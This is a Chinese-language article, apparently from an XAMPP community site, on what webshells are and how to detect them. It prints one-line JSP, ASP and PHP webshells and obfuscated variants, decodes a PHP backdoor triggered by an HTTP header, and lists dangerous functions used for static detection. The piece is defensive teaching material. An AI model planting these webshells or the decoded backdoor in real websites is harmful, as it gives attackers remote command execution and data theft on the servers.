最新消息:XAMPP默认安装之后是很不安全的,我们只需要点击左方菜单的 "安全"选项,按照向导操作即可完成安全设置。

网站防入侵,如何检测webshell?

XAMPP案例 中文小张 1005浏览 0评论
网站被入侵了?

办案人员常常接到这样的案件:某单位网站遭黑客入侵,被非法上传webshell,首页被修改,系统功能不能正常使用,网站目录下面被上传了大量的asp、php、htm的页面,网站数据库数据被窃取,黑客还赤裸裸的留下大名

那到底什么是webshell?它有什么危害?如何检测及防范?今天我们就好好来说道说道。(欢迎行业老司机们补充指正~)

1

初识webshell

Webshell是web入侵的脚本攻击工具,简单来说,webshell就是一个asp或php木马后门。当黑客在入侵企业网站时,通常要通过各种方式上传webshell从而获得企业网站的控制权,然后方便进行之后的入侵行为。入侵完成后,将这些asp或php木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起,让人难辨真假。因此,检测webshell对网站的安全非常重要。

分类

原理

▲jsp的简单的webshell

<%Runtime.getRuntime().exec(request.getParameter(“xxx”));%>

▲asp的简单的webshell

<%evalrequest(“xxx”)%>

▲php的简单的webshell

<?php $a=eval($_GET[“xxx”]);?>

webshell含有相同的本质,即:

执行系统命令的函数+接收web参数的功能函数

使用webshell就像是打开一个特殊的web页面,只有当传入的参数正确时才能顺利使用。

例如:1.php

内容为:<?php @eval(@_POST[“A”]);?>

只有打开1.php页面且数据包参数有”A”时,才能正确连接使用该后门。

通过连接webshell,执行系统命令,可以查看计算机本机文件,查看用户、密码等敏感信息,还可以直接生成、修改文件(生成木马病毒文件或者网页挂马,数据库添加xss代码等),以及直接下载上传更多文件

特点

1.存在系统调用的命令执行函数,如eval,system,cmd_shell,assert等;

2.存在系统调用的文件操作函数,如fopen,fwrite,readdir等;

3.存在数据库操作函数,调用系统自身的存储过程来连接数据库操作;

4.隐匿性与伪装性,可隐藏到正常的web源码中;

5.访问ip、次数少,页面孤立;

6.会产生payload流量,可以通过流量镜像与web日志进行检测;

7.变种多,通过各种函数加密,绕过检测。

变种类型

1.函数调用

最终结果: eval(base64_encode${“_POST”}[‘xxxx’])

2.拼接语句

最终结果: assert(${“_POST”}[‘sz’])

3.字符操

4.编码混

5 其他:文件名利

危害

1.长期控制web服务器、主机;

2.上传任意文件或者其他危害性病毒例如(勒索,挖矿病毒),也可以从主机下载任意文件;

3.修改web主页,篡改图片,造成不良社会印象(例如篡改国旗);

4.偷窃删除数据(数据库数据,用户密码,个人信息之类);

5. 控制服务器当肉鸡、攻击跳板,对其他用户实现DDos等攻击

2

webshell案例分析

对于新手或者经验较少者,很多时候并不能认识或者了解各种各样的文件。不知道那些文件是什么,有什么样的功能,更不敢乱动或者删除。即使发现了可疑的文件也不敢轻举妄动。

在这里举个webshell的分析案例,一步步清理、确认、分析这个webshell的功能与入侵者是如何使用。

原始文件如下,代码混乱

去除注释、排版

分析代码发现,大部分的代码都是通过字符串的|、^、.操作赋值,只有最后两行代码是关键性的代码,而其中的变量都是通过前面的初始化或者是运算得到的。那么我们就可以注释最后两行代码,输出其中所有的变量。

结果如下:

带入到最后的两行代码中,得到:

if(md5(getenv(‘HTTP_A’))==’5d15db53a91790e913dc4e05a1319c42′) $bIywY=create_function(‘$a,$b,$c’,getenv(‘HTTP_X_UP_CALLING_LINE_ID’);

 

payload

分析如下

当接受参数A时,如果md5(A)== ‘5d15db53a91790e913dc4e05a1319c42’

则创建匿名函数bIywY,功能为接收(‘HTTP_X_UP_CALLING_LINE_ID’)

然后执行此函数。

黑客入侵时,只需要在HTTP_X_UP_CALLING_LINE_ID部分添加命令即可执行

3

如何检测webshell

WebShell检测是攻防对抗中的一个重要环节,是安全防护人员必修之课。如何快速检测Web Server是否已经被植入WebShell文件或代码,对网站安全来说至关重要

动态检测

跟踪代码执行的函数/变量。

通过PHP扩展的webshell实时动态检测方法,可以基于PHP扩展对PHP代码的编译执行进行监控并结合外部输入变量的标记追踪、黑白名单机制来进行webshell的实时动态检测

优点:可以有效针对变形、加密的webshell进行检测

缺点:当文件过多时的处理速度可能较慢,不满足用户需求

静态检测

对脚本文件中所使用的关键词、高危函数、文件修改时间、文件权限、 文件所有者以及和其它文件的关联性等多个维度的特征进行检测,即先建立一个恶意字符串特征库。

1.危险函

① 命令执行函数

php:exec()eval()assert()shell_exec()system()

jsp:Runtime.exec(String cmd)

②接受web参数函数

php:$_POST $_GET $_REQUEST

jsp:request.getParameter()

③变形函数(编码/字符串变形)

php:base64,sha1,md5, preg_replace,pack(hex)

④文件操作函数

php:fpassthru()fsockopen()

⑤其他函数

php:create_fuction()//匿名函数

优点:可快速检测,快速定位

缺点:容易误报,无法对加密或者经过特殊处理的Webshell文件进行检测。尤其是针对窃密型Webshell无法做到准确的检测:窃密型Webshell通常具有和正常的WEB脚本文件具有相似的特征

2.样貌特征

①文件名

或者部分比较直观的名

②伪装的文

③加密类

优点:可以人工肉眼直观的找出不正常,不合理的文件

缺点:对于隐藏在正常文件中的后门以及大马(被恶意使用的大段正常代码)无法做出判断

转载请注明:XAMPP中文组官网 » 网站防入侵,如何检测webshell?

您必须 登录 才能发表评论!